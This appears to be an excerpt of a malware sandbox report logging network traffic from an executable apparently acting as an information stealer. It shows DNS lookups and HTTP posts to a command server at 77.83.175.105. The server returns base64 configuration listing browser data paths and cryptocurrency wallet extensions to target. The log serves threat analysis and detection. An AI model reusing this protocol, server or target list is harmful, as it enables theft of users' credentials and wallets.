Oct 29, 2024 04:18:01.965483904 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.965488911 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.014792919 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.014935970 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.015054941 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.015077114 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.015089035 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.015099049 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.015103102 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.017441034 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.017465115 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.017554998 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.017678976 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.017687082 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.023715019 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.024324894 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.024533987 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.024585962 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.024602890 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.024615049 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.024626970 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.024631977 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.024996996 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.025073051 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.025119066 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.025134087 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.025162935 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.025167942 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.026556969 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.026581049 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.026747942 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.026774883 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.026817083 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.026880980 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.026897907 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.026926994 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.026983976 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:02.026998997 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.029438972 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:02.029618025 CET	443	49799	13.107.246.45	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 04:17:05.448560953 CET	192.168.2.4	1.1.1.1	0xf87d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:17:05.448678017 CET	192.168.2.4	1.1.1.1	0x67b0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 04:17:10.486330032 CET	192.168.2.4	1.1.1.1	0xe0e9	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:17:10.486833096 CET	192.168.2.4	1.1.1.1	0xa189	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 04:17:11.479043961 CET	192.168.2.4	1.1.1.1	0x6dab	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:17:11.479212046 CET	192.168.2.4	1.1.1.1	0x9b08	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 29, 2024 04:17:26.943165064 CET	192.168.2.4	1.1.1.1	0x6654	Standard query (0)	campuspersever.es	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 04:17:05.456120968 CET	1.1.1.1	192.168.2.4	0x67b0	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 04:17:05.456191063 CET	1.1.1.1	192.168.2.4	0xf87d	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:17:10.493813992 CET	1.1.1.1	192.168.2.4	0xe0e9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 04:17:10.493813992 CET	1.1.1.1	192.168.2.4	0xe0e9	No error (0)	plus.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:17:10.494792938 CET	1.1.1.1	192.168.2.4	0xa189	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 04:17:11.486373901 CET	1.1.1.1	192.168.2.4	0x6dab	No error (0)	play.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:17:26.961019993 CET	1.1.1.1	192.168.2.4	0x6654	No error (0)	campuspersever.es		87.106.236.48	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	77.83.175.105	80	7484	C:\Users\user\Desktop\X9d3758tok.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:16:56.692080021 CET	88	OUT	GET / HTTP/1.1 Host: 77.83.175.105 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:16:57.511162996 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:16:57.514717102 CET	417	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 77.83.175.105 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 39 31 37 34 37 31 37 45 38 41 33 37 38 38 39 35 32 38 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"ED9174717E8A3788952882------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"LogsDiller------JJEGCBGIDHCAKEBGIIDB--
Oct 29, 2024 04:16:57.795655012 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 51 78 4e 44 56 6a 4d 47 52 6c 5a 6a 59 34 4f 54 51 31 4f 44 6b 33 4d 7a 64 6c 4e 6d 59 34 59 6a 4a 68 4e 44 42 68 4f 57 59 31 4d 6a 6b 34 59 6d 4d 79 59 6d 55 35 4d 32 45 33 4e 57 51 30 4f 44 6b 32 4d 54 6b 35 59 54 55 77 59 7a 4d 32 4d 44 6b 32 4d 47 4d 34 5a 6a 67 34 4d 7a 59 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWQxNDVjMGRlZjY4OTQ1ODk3MzdlNmY4YjJhNDBhOWY1Mjk4YmMyYmU5M2E3NWQ0ODk2MTk5YTUwYzM2MDk2MGM4Zjg4MzYxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 04:16:57.808850050 CET	468	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBA Host: 77.83.175.105 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 2d 2d 0d 0a Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="message"browsers------IJKJJKFHIJKKFHJJECBA--
Oct 29, 2024 04:16:58.047209978 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 04:16:58.047278881 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 04:16:58.057653904 CET	467	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJEGCBKKJECBGCGDBA Host: 77.83.175.105 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 2d 2d 0d 0a Data Ascii: ------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="message"plugins------CBKJEGCBKKJECBGCGDBA--
Oct 29, 2024 04:16:58.296179056 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 04:16:58.296200991 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 29, 2024 04:16:58.296215057 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 29, 2024 04:16:58.296230078 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 29, 2024 04:16:58.296245098 CET	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 29, 2024 04:16:58.296258926 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 29, 2024 04:16:58.296274900 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 29, 2024 04:16:58.301000118 CET	468	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFC Host: 77.83.175.105 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="message"fplugins------BAEBFIIECBGCBGDHCAFC--
